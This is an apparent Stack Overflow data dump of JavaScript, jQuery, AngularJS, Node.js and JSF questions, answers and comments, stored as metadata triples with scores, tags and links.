has comment: http://stackoverflow.com/comment/40470370
answers question: http://stackoverflow.com/q/25857035
has comment: http://stackoverflow.com/comment/40459544
has comment: http://stackoverflow.com/comment/40460802
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25857035
has comment: http://stackoverflow.com/comment/40459589

http://stackoverflow.com/a/25765314
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25765222
has body: You have to wait till all DOM structure ready and then apply your jquery script. You can wrap your code inside $(document).ready(function(){}); or $(function(){}); $(function(){ $('.cell1').each(function(i, n) { if($(n).text() &lt; 5) $(n).css('color', 'green'); }); }); Demo

http://stackoverflow.com/q/25839755
score: 1
tagged with: jquery-hover
has body: I ended up searching for a code to put into my existing code. Basically, I've sets of images that trigger a divs when hovered. I made parent javascript hover, delay and animate functions for each image. PNG Images are not square, rectangle or circle but stylish so when I hover any part of transparent area, div triggered. I can't try image map coordinates because I've percentage width images so I need simple function that could add padding under my existing images so hover works only rectangle or square part. Here's my website's section where I want to bring the CHANGE! http://www.mythstreet.com/#our-services So far my code: jQuery( document ).ready(function($) { $("#svbx1").hover(function () { $("#svrs2").stop(true, true).slideUp(); $("#svrs3").stop(true, true).slideUp(); $("#svrs4").stop(true, true).slideUp(); $("#svrs1").slideDown(); }, function () { $("#svrs1").delay(20000).slideUp(); }); $("#svbx2").hover(function () { $("#svrs1").stop(true, true).slideUp(); $("#svrs3").stop(true, true).slideUp(); $("#svrs4").stop(true, true).slideUp(); $("#svrs2").slideDown(); }, function () { $("#svrs2").delay(20000).slideUp(); }); $("#svbx3").hover(function () { $("#svrs1").stop(true, true).slideUp(); $("#svrs2").stop(true, true).slideUp(); $("#svrs4").stop(true, true).slideUp(); $("#svrs3").slideDown(); }, function () { $("#svrs3").delay(20000).slideUp(); }); $("#svbx4").hover(function () { $("#svrs1").stop(true, true).slideUp(); $("#svrs2").stop(true, true).slideUp(); $("#svrs3").stop(true, true).slideUp(); $("#svrs4").slideDown(); }, function () { $("#svrs4").delay(20000).slideUp(); }); });
type: Question
has comment: http://stackoverflow.com/comment/40428524
tagged with: javascript
tagged with: jquery
upvote count: 1
tagged with: http://stackoverflow.com/tag/html
answer count: 1
tagged with: css
favorite count: 0
has title: jQuery hover specific area of an image
has comment: http://stackoverflow.com/comment/40429060
has answer: http://stackoverflow.com/a/25840239
accepted answer: http://stackoverflow.com/a/25840239
type: AnsweredQuestion
downvote count: 0

http://stackoverflow.com/q/25787288
accepted answer: http://stackoverflow.com/a/25787360
tagged with: javascript
has body: This is my jsfiddle http://jsfiddle.net/1ty1v8u1/5/ If an element is clicked on twice , how can i achieve toggle behavior for that particular div ? If i click on office twice in the jsfiddle how to make it open and close ?? This is my code function showRestaurantDetailsByLocation(response,locationname) { $('.restListings').remove(); $('.addNewRestaurant').remove(); var ulhtml = $(' '); var divhtml = $(' Your Favorite Area '); divhtml.append(' '); var $newbutton= $(' ').attr({ type: 'button', location:locationname , name:'btn1', class:'btn btn-success addNewRestaurant', value:locationname}); for(var i=0;i<response.length;i++) { divhtml.append(' '+response[i].area+' '+response[i].address+' '); } divhtml.append($newbutton); ulhtml.append(divhtml); $("#"+locationname).append(ulhtml); }
tagged with: jquery
type: Question
score: 0
has answer: http://stackoverflow.com/a/25787360
answer count: 1
has comment: http://stackoverflow.com/comment/40331294
has comment: http://stackoverflow.com/comment/40331203
has title: How to open and close a div if its clicked on Twice
has comment: http://stackoverflow.com/comment/40331162
type: AnsweredQuestion

http://stackoverflow.com/a/25769697
accepted answer of: http://stackoverflow.com/q/25769660
score: 4
type: AcceptedAnswer
has body: Use CSS .errors, .errors1 { display: none; } And you can remove from your JS $( document ).ready(function() { $('.errors').hide(1); $('.errors1').hide(1); }); JS Fiddle Demo
type: Answer
upvote count: 4
downvote count: 0
answers question: http://stackoverflow.com/q/25769660

http://stackoverflow.com/a/25811479
answers question: http://stackoverflow.com/q/25811297
upvote count: 3
has comment: http://stackoverflow.com/comment/40377870
has comment: http://stackoverflow.com/comment/40378146
downvote count: 0
has comment: http://stackoverflow.com/comment/40377927
score: 3
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40377483
type: Answer
accepted answer of: http://stackoverflow.com/q/25811297
has comment: http://stackoverflow.com/comment/40380586
has body: You're going to have to use this.local.local_email (and password) in your save function. Here's the reasoning: In your constructor, you have local variables for local_email and local_password - these are the ones you're accessing in your save function; When save is called, it checks the local scope (save's own scope, and since these variables aren't there, it checks the next scope up - the constructor scope. Now, you also have the returned object, which has local.local_email as a property. When the constructor is called, this property is set to undefined (if I'm following the logic correctly). When it's set later, that change only happens on the property on that object. It isn't reflected back to the constructor's local local_email. So, your functions are accessing a local variable, while you're setting a new value on the property of an object.

http://stackoverflow.com/q/25815666
linked to: http://stackoverflow.com/q/32961255
has comment: http://stackoverflow.com/comment/56286543
has comment: http://stackoverflow.com/comment/56289989
has comment: http://stackoverflow.com/comment/56431521
tagged with: module
has title: Do variable declarations become properties of window in ecmascript 6 modules?
has answer: http://stackoverflow.com/a/25815991
upvote count: 3
has comment: http://stackoverflow.com/comment/56286858
linked to: http://stackoverflow.com/q/28776079
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/56285884
score: 3
accepted answer: http://stackoverflow.com/a/25815991
tagged with: javascript
tagged with: ecmascript-6
answer count: 1
downvote count: 0
has body: In ECMAScript 5 and below, var declarations at the top level of a script become globals, which is to say, properties of the global object (window in browsers.) In ECMAScript 6, we now have modules. Modules are in strict mode, so we won't automatically create a global by forgetting var, but if I declare a var at the top level of a module, does it become a global property of the window object? What if I use let or const or any of the new declaration forms added in ES6? var foo = {}; console.log(window.foo === foo); // true or false? let bar = {}; console.log(window.bar === bar); // what about this?
favorite count: 0

http://stackoverflow.com/q/25843230
has body: Is there a work around to get the value of the textbox? Let's say I set the textbox datepicker to 09-14-2014 then after clicking button it returns no value. Here's my code: &lt;script type="text/javascript"&gt; $(function () { $("[id$=txtDate1]").datepicker({ dateFormat: 'mm-dd-yy', showOn: 'button', buttonImageOnly: true, buttonImage: 'Images/calendar.png' }); }); &lt;/script&gt; &lt;asp:TextBox ID="txtDate1" runat="server" ReadOnly="true"&gt;&lt;/asp:TextBox&gt; &lt;asp:Button ID="Button1" runat="server" Text="Search" OnClick="Button1_Click" /&gt;
tagged with: javascript
has answer: http://stackoverflow.com/a/25843262
answer count: 2
downvote count: 0
score: 1
tagged with: jquery
tagged with: asp.net
favorite count: 0
has title: Jquery textbox returns no value in asp.net
type: UnansweredQuestion
tagged with: datepicker
has comment: http://stackoverflow.com/comment/40434612
has answer: http://stackoverflow.com/a/25844173
upvote count: 1
type: Question
tagged with: c#

http://stackoverflow.com/a/25865629
has comment: http://stackoverflow.com/comment/40475626
has comment: http://stackoverflow.com/comment/40475743
has body: $("#idDiv").find("span:first").removeClass().addClass("flaticon-floppy13"); $("#idDiv").find("span:before").css("font-size":"36px"); Also if (!$('.your class').val()) { $('#idDiv').val("flaticon-floppy13"); } else { $('#idDiv').val(""); } or just remove {} but its better to separate the functions. I don't think they work together.
has comment: http://stackoverflow.com/comment/40475871
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40476258
answers question: http://stackoverflow.com/q/25865476

http://stackoverflow.com/comment/55630422
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25880955
has text: does it have to be plain template? how about when using html file as template? i tried using external file but it's not working

http://stackoverflow.com/q/25808768
answer count: 2
tagged with: function
tagged with: javascript
tagged with: variables
has body: I have two function examples as follows function call1() { variable = "test string"; } function call2() { variable = responseFromAJAX(); document.title = variable; setTimeout(function() { call2(o); }, 1000 ); } If there anyway that the undeclared variable "variable" can be overridden by either function? even when "variable" is not declared out the scope of the functions? Many thanks
tagged with: scope
score: 0
has comment: http://stackoverflow.com/comment/40370721
tagged with: undeclared-identifier
possible better answer: http://stackoverflow.com/a/25808800
has answer: http://stackoverflow.com/a/25808800
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40370576
has comment: http://stackoverflow.com/comment/127496084
has answer: http://stackoverflow.com/a/25808787
accepted answer: http://stackoverflow.com/a/25808787
has title: Undeclared JavaScript variable in functions overriding over uses
type: Question

http://stackoverflow.com/q/25740213
has title: Get html rendered by Javascript using PhantomJS
has comment: http://stackoverflow.com/comment/40247998
has comment: http://stackoverflow.com/comment/40284259
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40246471
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has body: I am trying to utilize PhantomJS to get html generated by dynamic page. I supposed that this would be easy, but after few hours of trying, I am still not lucky. The page itself has this source code and what gets saved in 1.html eventually: (ommited some lines) <!--<![endif]--> All content of web gets loaded inside site-loader div, but I have no luck to get it, even though I am using timeout before scraping html by PhantomJS. Here goes code I am using: var url = 'http:...'; var page = require('webpage').create(); var fs = require('fs'); page.open(url, function (status) { if (status !== 'success') { console.log('Fail'); phantom.exit(); } else { window.setTimeout(function () { fs.write('1.html', page.content, 'w'); phantom.exit(); }, 2000); // Change timeout as required to allow sufficient time } }); Please what am I doing wrong? EDIT: I have decided to try PJscrapper framework and configured it to scrappe all contents of div block. All I got was lousy: ["","\n\t\tif (window.DOT) {\n\t\t\tDOT.cfg({service: 'sreality', impress: false});\n\t\t}\n\t","","Loader.load()","",""] Seems that I seriously do not get it and always get code before Loader.load() acts. And obviously, timeout does not solve it.
downvote count: 0
tagged with: web-scraping
has comment: http://stackoverflow.com/comment/40281882
type: Question
has answer: http://stackoverflow.com/a/25741763
tagged with: phantomjs
score: 3
tagged with: javascript
has comment: http://stackoverflow.com/comment/40246672
upvote count: 3

permissions
tag name: permissions
type: Tag
tags question: http://stackoverflow.com/q/25817150

http://stackoverflow.com/q/25751011
score: -1
tagged with: asp.net-mvc-4
has body: Div is filled using ajax call which returns a partial view . In this case,Do DOM will be reconstructed ? . Since ,I have some javascripts preloaded which will handle client side events of that partial view .Do I need to attach event handler using live event or On event (jquery).
answer count: 1
downvote count: 1
has title: Will DOM reconstructs after partial view is loaded via ajax?
tagged with: javascript
has answer: http://stackoverflow.com/a/25751980
type: AnsweredQuestion
upvote count: 0
tagged with: jquery
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/25751980

http://stackoverflow.com/a/25744335
upvote count: 1
answers question: http://stackoverflow.com/q/25742539
type: Answer
downvote count: 0
score: 1
has body: While opening modal add controller and data to be send as resolve $modal.open({ templateUrl: 'myModalContent.html', backdrop: true, windowClass: 'modal', controller: getDataController, resolve: { items: function () { return { //getUserData is some function to fill input value on main screen in main controller which takes submitted value as parameter someParameterInItems:$scope.getUserData, }; } } }); }); //example controller var getDataController = function ($scope,$modalInstance,items) { $scope.onClickFunctionInModal=function(){ items.someParameterInItems(submittedValue); } } In that getDataController define function for ng-click (or any submit function) on submit ,data gets submitted to that defined function in this case 'onClickFunctionInModal' which will invoke main 'getUserData' function with parameter Hopes it helps

http://stackoverflow.com/q/25764472
tagged with: javascript
tagged with: android
linked to: http://stackoverflow.com/q/4065312
favorite count: 0
type: UnansweredQuestion
has title: Android. Webview. How to make element unclickable?
tagged with: webview
upvote count: 1
has answer: http://stackoverflow.com/a/25764528
score: 1
type: Question
downvote count: 0
answer count: 1
has body: WebView is loading data from url. wvBrowser.loadUrl(MainActivity.URL_ABOUT); On WebViewClient's onPageStarted method I am trying to use javascript: @Override public void onPageStarted(WebView view, String url, Bitmap favicon) { String javascript = "javascript: " + "document.getElementById('logo').setAttribute(\"style\",\"pointer-events: none ;\");"; view.loadUrl(javascript); } Result: element is still clickable. How to make only one element unclickable?

http://stackoverflow.com/comment/40458373
score: 0
type: AnswerComment
has text: Ok, last comment (gotta go soon) but try performing a request, have the developer tools open and check your Network->Params settings. See what is being passed (if anything) to the server. Also, do some research on forms and post requests.
type: Comment
comment on: http://stackoverflow.com/a/25855462

http://stackoverflow.com/comment/40250161
comment on: http://stackoverflow.com/a/25735319
type: AnswerComment
score: 0
has text: You, sir, are my hero for today. I knew it probably was something simple, but THIS simple... haha!
type: Comment

http://stackoverflow.com/q/25766076
has answer: http://stackoverflow.com/a/25766152
linked to: http://stackoverflow.com/q/18942193
answer count: 1
tagged with: javascript
has title: "TypeError: $(...).dialog is not a function" is showing when I am trying to open the map using markicon method
score: 0
has body: Why I am getting this error?When I am trying to open a map It is not showing and I am getting the above error. Please Help me. When I am not adding the "jquery.min.js" it is working fine.But when I am adding map is not opening at that time.When the map is showing the "quicksearch" method is not working.
has comment: http://stackoverflow.com/comment/40293388
accepted answer: http://stackoverflow.com/a/25766152
type: Question
type: AnsweredQuestion

http://stackoverflow.com/comment/40349793
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25794931
has text: @SeanBarber It might be a bit of a struggle but by looking at the docs and some examples you should be able at least get something close to what you want. Once you do, post what you have and someone can tell you what's wrong.

http://stackoverflow.com/q/25799121
possible better answer: http://stackoverflow.com/a/25799239
answer count: 3
linked to: http://stackoverflow.com/q/6677035
has title: scrollTo a div once a button is clicked?
accepted answer: http://stackoverflow.com/a/25799223
tagged with: scrollto
has body: I'm trying to get the page to scroll to #news .section-wrap when .paging-navigation a is clicked. I tried inserting the line (as seen below) but couldn't get it to work. Where am I going wrong? $('#article-list').on('click', '.paging-navigation a', function(e){ e.preventDefault(); var link = $(this).attr('href'); $('#article-list').scrollTo('#news .section-wrap'); // this is the line I added $('#article-list').fadeOut(500, function(){ $(this).load(link + ' #article-list', function() { $(this).find('#article-list &gt; *').unwrap().end().fadeIn(500); }); }); });
has answer: http://stackoverflow.com/a/25799256
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/25799223
type: Question
has answer: http://stackoverflow.com/a/25799239
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/q/25733511
has title: Chrome Extension: On browser action, create a pop up and execute a script
type: Question
answer count: 2
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40237856
has answer: http://stackoverflow.com/a/63865133
linked to: http://stackoverflow.com/q/23316974
tagged with: google-chrome-extension
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25734049
favorite count: 0
type: UnansweredQuestion
upvote count: 7
has body: I'm building a Chrome extension and would like to show a pop up and run a script when the user clicks on a browser action icon in Chrome. I can get the popup to occur by putting '"default_popup": "popup.html"' in manifest.json. However, when I do, background.js doesn't seem to run. When I remove '"default_popup": "popup.html"', background.js seems to run. How can I get both the popup to appear and the script to run? manifest.json { "manifest_version": 2, "name": "Typo Blaster", "description": "Blast away typos and make the internet a safer place for the kids.", "version": "0.1", "browser_action": { "default_icon": "icon.png", "default_title": "Blast the typo!", "default_popup": "popup.html" }, "permissions": [ "activeTab" ], "background": { "scripts": ["background.js"], "persistent": false }, "icons": { "16": "icon16.png", "48": "icon48.png", "128": "icon128.png" } } popup.html Typo Blaster Got it! background.js chrome.browserAction.onClicked.addListener(function(tab) { // No tabs or host permissions needed! console.log('Turning ' + tab.url + ' red!'); chrome.tabs.executeScript({ code: 'document.body.style.backgroundColor="red"' }); }); alert('hello ' + document.location.href);
score: 7
tagged with: http://stackoverflow.com/tag/json

http://stackoverflow.com/comment/40443207
score: 0
type: Comment
has text: Oh my gosh, I feel so stupid. Thanks a lot! I was beating my head against the wall on that one, haha.
comment on: http://stackoverflow.com/a/25847249
type: AnswerComment

http://stackoverflow.com/comment/40355971
comment on: http://stackoverflow.com/q/25800184
score: 1
has text: Check out [*dispatchEvent*](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget.dispatchEvent) and MDN's [*Creating and triggering events*](https://developer.mozilla.org/en-US/docs/Web/Guide/Events/Creating_and_triggering_events). Not sure about cross–browser support but it's getting better as browsers become more standardised. Oh, that error means that `document.getElementById('shr_SUBJECT=VC' + i)` is returning *null*, so an element with that ID doesn't exist in the document.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40491092
score: 0
type: Comment
has text: This doc lists some changes http://w3c.github.io/web-animations/#changes-since-last-publication. I have no idea if they were implemented (removed onfinish, added ready, finished)
comment on: http://stackoverflow.com/a/25860714
type: AnswerComment

http://stackoverflow.com/comment/40252495
score: 0
comment on: http://stackoverflow.com/q/25743572
has text: @xK0nB1n, from the comment exchange, don't you think *you* have a problem understanding what the questioner wants, not me? ;)
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40340056
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25791379
has text: Have you tried updating both chrome and the library? There seem to be many issues with webkit and highcharts but they are supposedly fixed in the latest versions.

http://stackoverflow.com/q/25796736
score: 0
tagged with: java
has title: datagrid with checked checkboxes
type: Question
tagged with: javascript
answer count: 1
has answer: http://stackoverflow.com/a/25810729
has body: I have the following datagrid with a checkbox: <asp:DataGrid id="dgExpenditures" runat="server" Width="676px" PageSize="15" <asp:TemplateColumn HeaderText="Mark To Edit"> <asp:CheckBox ID="Checkbox1" Runat="server" CssClass="Chkbx" /> </asp:TemplateColumn> <asp:BoundColumn HeaderText="RecordID" DataField="Record ID" SortExpression="Record ID" <asp:BoundColumn HeaderText="PSN" DataField="PSN" SortExpression="PSN" /> <asp:BoundColumn HeaderText="Dist#" DataField="Dist" SortExpression="Dist" /> <asp:BoundColumn HeaderText="Line#" DataField="Line" SortExpression="LineNum" /> <asp:BoundColumn HeaderText="Gross Amt" DataField="GrossAmt" SortExpression="GrossAmt" /> <asp:BoundColumn HeaderText="Rate(%)" DataField="Rate" SortExpression="Rate" /> <asp:BoundColumn HeaderText="Net Amt" DataField="NetAmt" SortExpression="NetAmt" /> </asp:DataGrid> I also have a delete button on the page that when selected will delete the records that are checked by looping through the grid and deleting those that are checked. This loop is in the button.click event. I have added a script function to the .aspx page that pops a confirm dialog, but it will appear if no items are selected. I only want it to appear if 1 or more checkboxes have been selected in the data grid: So my problem is how do I write a java function to loop through the datagrid to see if there are checkboxs checked?
type: UnansweredQuestion

http://stackoverflow.com/q/25780700
has title: Attempted to assign to readonly property
favorite count: 0
tagged with: cordova
tagged with: angularjs
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40321143
upvote count: 1
has comment: http://stackoverflow.com/comment/65402243
type: Question
has body: I am getting exception with message Attempted to assign to readonly property when I try to assign a value to property defined in a service. My Cordova project uses AngularJS. Here is a part of my code: 'use strict'; angular.module('MyApp.controllers') .service('LoginOrigin', function () { return { origin: undefined }; }); angular.module('MyApp.controllers') .controller('MainCtrl', ['$scope', '$http', '$rootScope', 'LoginOrigin', function($scope, $http, $rootScope, LoginOrigin) { $scope.signUp = function() { // ... // exception gets thrown on the following line LoginOrigin.origin = 'menu'; // ... }; } ]); Why I am getting the exception and how could I chnage the code to fix the issue?
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40791393
has comment: http://stackoverflow.com/comment/40320640
score: 1

http://stackoverflow.com/comment/44762239
type: Comment
comment on: http://stackoverflow.com/a/25878212
score: 1
has text: Thank you! this was giving me hours of trouble and your solution helped me solve it.
type: AnswerComment

http://stackoverflow.com/a/31350512
downvote count: 0
type: Answer
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/25771377
has body: I'm surprised this worked for you! I found that I had to change the restrictions parameter (3 in your example) to be either 0 or 4. This is based on the MSDN documentation at https://msdn.microsoft.com/en-us/library/windows/desktop/aa378051(v=vs.85).aspx: E_ACCESSDENIED This method was called from the web and either AllowNoOutstandingRequest or AllowUntrustedCertificate was specified in the Restrictions parameter.

http://stackoverflow.com/a/25760091
downvote count: 0
score: 7
has body: You can do this into your script: var data = !{JSON.stringify(userData)}; window.serverData= data; After in your app.js, you can do this: app.value('serverData', window.serverData); And in your controller: app.controller('controllerName', ['serverData', function(serverData){ console.log(serverData); }]); You can access to window var into the controller without doing app.value, but it is a good practice.
answers question: http://stackoverflow.com/q/25759927
upvote count: 7
type: Answer

http://stackoverflow.com/q/25814271
has answer: http://stackoverflow.com/a/25819086
accepted answer: http://stackoverflow.com/a/25819086
has answer: http://stackoverflow.com/a/25814311
tagged with: node.js
answer count: 4
has title: Shared array between class instances in node.js
possible better answer: http://stackoverflow.com/a/25814321
type: Question
type: AnsweredQuestion
tagged with: oop
has answer: http://stackoverflow.com/a/25814480
upvote count: 4
has answer: http://stackoverflow.com/a/25814321
tagged with: arrays
downvote count: 0
tagged with: javascript
has body: I have a a weird problem in node.js: person.js var Person; Person = (function() { Person.prototype.name = ""; Person.prototype.friends = []; function Person(name) { if (name) { this.name = name; } } Person.prototype.sayHello = function() { return console.log("Hello, my name is " + this.name + " and I have " + this.friends.length + " friends"); }; Person.prototype.addFriend = function(name) { this.friends.push(name); }; return Person; })(); module.exports = Person; factory.js var Person = require('./Person.js'); module.exports = function(name) { return new Person(name); }; index.js factory = require('./factory'); tyrion = factory("Tyrion"); tyrion.addFriend("Bronn"); tyrion.sayHello(); daenerys = factory("Daenerys"); daenerys.addFriend("Illyrio"); daenerys.addFriend("Daario"); daenerys.addFriend("Barristan"); daenerys.sayHello(); tyrion.sayHello(); Actual output Hello, my name is Tyrion and I have 1 friends Hello, my name is Daenerys and I have 4 friends Hello, my name is Tyrion and I have 4 friends Expected output Hello, my name is Tyrion and I have 1 friends Hello, my name is Daenerys and I have 3 friends Hello, my name is Tyrion and I have 1 friends How come that adding element to one instance does add it for both? It looks like the friend array is "shared" between instances. How to prevent such? Demo here
score: 4
favorite count: 0

http://stackoverflow.com/q/25870668
has answer: http://stackoverflow.com/a/25872629
tagged with: angularjs
type: UnansweredQuestion
type: Question
has body: In the API of AngularJS in $sce section I have found that "a[href] and img[src] automatically sanitize their URLs and do not pass them through $sce.getTrusted" however $compileProvider provides aHrefSanitizationWhitelist for sanitation of href imgSrcSanitizationWhitelist for sanitation of img[src] My question is why do I need those methods if a[href] and img[src] automatically sanitize their URLs. Thanks
tagged with: javascript
has title: Sanitation issue in href and src tags
score: 0
answer count: 1

http://stackoverflow.com/comment/40217071
score: 0
type: AnswerComment
type: Comment
has text: what do you want to know about this answer?
comment on: http://stackoverflow.com/a/25724520

http://stackoverflow.com/comment/108660537
comment on: http://stackoverflow.com/a/25820115
type: Comment
score: 1
has text: @RyanTran, should still work, but you may need to trigger the event, something like `$('textarea').trigger('input')`
type: AnswerComment

http://stackoverflow.com/a/25829664
answers question: http://stackoverflow.com/q/25828905
score: 0
type: Answer
has body: Applying prettyCheckable() alters the html including hiding the checkbox and enclosing it in a div. The html looks something like Hasbeens You need to handle the click event of the enclosing div and check the state of the checkbox $('.prettycheckbox').click(function() { var cb = $(this).find('input[type="checkbox"]'); if (cb.is(':checked')) { $(this).closest("form").submit(); } }); See updated fiddle

http://stackoverflow.com/a/25846735
downvote count: 0
score: 4
accepted answer of: http://stackoverflow.com/q/25846647
has comment: http://stackoverflow.com/comment/40440770
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25846647
type: Answer
has body: You do not need the keyDown event otherwise you are rebinding the autocomplete on every keydown. $("#txtName").autocomplete({ source: '@Url.Action("GetAllName", "Home")', select: function (event, ui) { $("#txtName").val(ui.item.value); return false; } }); To show all results when one character is entered add minLength: 1 If what you want is to have all the items displayed when the textbox has focus then this is what you are looking for: https://stackoverflow.com/a/4604300/1398425
upvote count: 4

http://stackoverflow.com/q/25724316
accepted answer: http://stackoverflow.com/a/25724395
has title: jQuery $.getJSON not returning any data but getting status of 200 OK
has body: I am using jQuery 1.11.1 hosted by Google CDN and I am running a local simple server using python -m SimpleHTTPServer on my machine. Now jQuery is loading correctly and in my app I have the following code: $('document').ready(function () { // let's get the products $.getJSON( 'scripts/products.js', function ( data ) { console.log('got here'); console.log(data); }); }) at this stage I just want to be sure that I am receiving my JSON which is in the file scripts/products.js and contains the following code only: [{ product: "Product 1", size: "S", price: 10.99 }, { product: "Product 2", size: "M", price: 12.99 }, { product: "Product 3", size: "L", price: 13.99 }] I am getting no error from the console and the dev tools are showing that the products file is being loaded! I am seeing a status of 200 OK. So why aren't the console logs in my callback being called? If I try to loop through the data nothing happens?
has comment: http://stackoverflow.com/comment/40215857
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40215892
has answer: http://stackoverflow.com/a/25724395
type: Question
has comment: http://stackoverflow.com/comment/40215766
answer count: 1
tagged with: javascript
tagged with: jquery
score: 0

http://stackoverflow.com/comment/40321399
has text: Thank you for that answer. So is it a bug in the library (and if so, is it worth reporting)?
comment on: http://stackoverflow.com/a/25768766
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/25865497
type: UnansweredQuestion
type: Question
score: 0
tagged with: javascript
tagged with: jquery
has body: I've got a websql table with approximately 2500 rows, each with a unique text value. I want the user to be able to search these and select one using javascript/jquery. I should stress that I'm doing this on mobile and not desktop. I can easily do a text match search, but what I really wanted was to achieve something similar to the "standard select" on this plugin https://harvesthq.github.io/chosen/ where the list is filtered on each keystroke.
has title: Live search a websql table
answer count: 0
has comment: http://stackoverflow.com/comment/40479320
has comment: http://stackoverflow.com/comment/40479925

http://stackoverflow.com/a/25723635
downvote count: 0
has comment: http://stackoverflow.com/comment/40226095
upvote count: 61
answers question: http://stackoverflow.com/q/25720595
type: Answer
has comment: http://stackoverflow.com/comment/62360739
has comment: http://stackoverflow.com/comment/65257927
score: 61
has body: To get something that resembles inheritance (actually composition as pointed out in comments), you can make an Airplane in your example wrap itself in a Vehicle. If you want to expose methods on Vehicle in the Airplane component, you can use a ref and connect them one-by-one. This is not exactly inheritance (it's actually composition), particularly because the this.refs.vehicle will not be accessible until after the component has been mounted. var Vehicle = React.createClass({ ... }); var Airplane = React.createClass({ methodA: function() { if (this.refs != null) return this.refs.vehicle.methodA(); }, ... render: function() { return ( J/K I'm an airplane ); } }); Also it's worth mention that in the React official documentation they prefer composition over inheritance: So What About Inheritance? At Facebook, we use React in thousands of components, and we haven't found any use cases where we would recommend creating component inheritance hierarchies. Props and composition give you all the flexibility you need to customize a component's look and behavior in an explicit and safe way. Remember that components may accept arbitrary props, including primitive values, React elements, or functions. If you want to reuse non-UI functionality between components, we suggest extracting it into a separate JavaScript module. The components may import it and use that function, object, or a class, without extending it. Another thing worth mention that using ES2015/ES6+ you can also spread the object props from Airplane component to the Vehicle component render: function() { return ( J/K I'm an airplane ); }
accepted answer of: http://stackoverflow.com/q/25720595
has comment: http://stackoverflow.com/comment/40231510
has comment: http://stackoverflow.com/comment/56544182
has comment: http://stackoverflow.com/comment/56930238
type: AcceptedAnswer

http://stackoverflow.com/a/25753015
type: Answer
has body: Seems You are missing the $ sing in: $('#cookie').click(function() {
upvote count: 1
downvote count: 1
score: 0
answers question: http://stackoverflow.com/q/25752964

http://stackoverflow.com/q/25853303
type: Question
has body: This is happenin after migrating my project to jsf2 on tomcat7. Earlier on tomcat5.5 for jsf 1 its was working fine. I have a .xhtml file from where I am trying to call a managed bean method through h:commandLink but its not being invoked. I have tried adding the EL 2.2 jars as suggetsed in other stackoverflow forums relating the same topic and also added the entries in web.xml : org.apache.myfaces.EXPRESSION_FACTORY com.sun.el.ExpressionFactoryImpl com.sun.faces.expressionFactory com.sun.el.ExpressionFactoryImpl but issue is not resolved. Please help. .xhtml file : <f:view> <f:loadBundle var="text" basename="#{basePage.bundleName}"/> #{text['user.passwordHint']} Looking up password hint for ${param.username}... <h:form id="passwordForm"> <h:inputHidden id="username" value="#{passwordHint.username}"/> <h:commandLink action="#{passworHint.execute}" id="execute"> <f:param name="username" value="${param.username}"></f:param> </h:commandLink> </h:form> </f:view> Managed bean: public class PasswordHint extends BasePage { @ManagedProperty(value="#{param.username}") private String username; /* private String execute; public String getExecute() { return execute; } public void setExecute(String execute) { this.execute = execute; }*/ public String getUsername() { System.out.println("get username of passwordhint-------"+username); return username; } public void setUsername(String username) { this.username = username; } public String execute() { /* FacesContext context = FacesContext.getCurrentInstance(); Map<String,String> params = context.getExternalContext().getRequestParameterMap(); System.out.println(params.get("username")); System.out.println("Inside password hint execute-------------"); */ // ensure that the username has been sent if (username == null || "".equals(username)) { log.warn("Username not specified, notifying user that it's a required field."); addError("errors.required", getText("user.username")); return null; } if (log.isDebugEnabled()) { log.debug("Processi…
tagged with: javascript
tagged with: jsf-2
score: 0
has title: h:commandLink in jsf2 not invoking bean method and not even through javascript call
answer count: 1
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40452820
has answer: http://stackoverflow.com/a/25956990

http://stackoverflow.com/q/25791855
has body: A little confusing however... I have a long string somestringDIEmorestringKILLanotherstringDIEmorestring and I have split that at KILL so I have the array below: ["valueArray"] [0] =&gt; "somestringDIEmorestring", [1] =&gt; "anotherstringDIEmorestring" Now I need to split the strings further where it says DIE, however they ideally need to be placed inside a single array so I can loop through them all and post them to their respected endpoints. Ultimately I need something like this: ["valueArray1"] [0] =&gt; "somestring", [1] =&gt; "morestring", [2] =&gt; "anotherstring", [3] =&gt; "morestring" OR: ["valueArray1"] [0] =&gt; ["Array"] [0] =&gt; "somestring", [1] =&gt; "morestring" [1] =&gt; ["Array"] [0] =&gt; "anotherstring", [1] =&gt; "morestring" How is the best way to go about this? I've currently got a $.each function set up but it's not working correctly: $.each( valueArray, function( i, val ) { valueArray1[i] = val.split('DIE'); }); Any help would be awesome! Or equally if there is a better way altogether to sort this out. Thank you. NOTE: I have to use strings as it's data coming from localStorage
tagged with: javascript
tagged with: jquery
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/25792019
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/2010892
has title: Split string contained in array and save into another array
type: Question
accepted answer: http://stackoverflow.com/a/25792019
tagged with: arrays

http://stackoverflow.com/comment/40270400
type: Comment
has text: absolutely, i think :) asked a quick question regarding `var now = new Date().getTime(); userObject.registered = moment(now).toDate();`
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25734743

http://stackoverflow.com/q/25839216
tagged with: javascript
answer count: 6
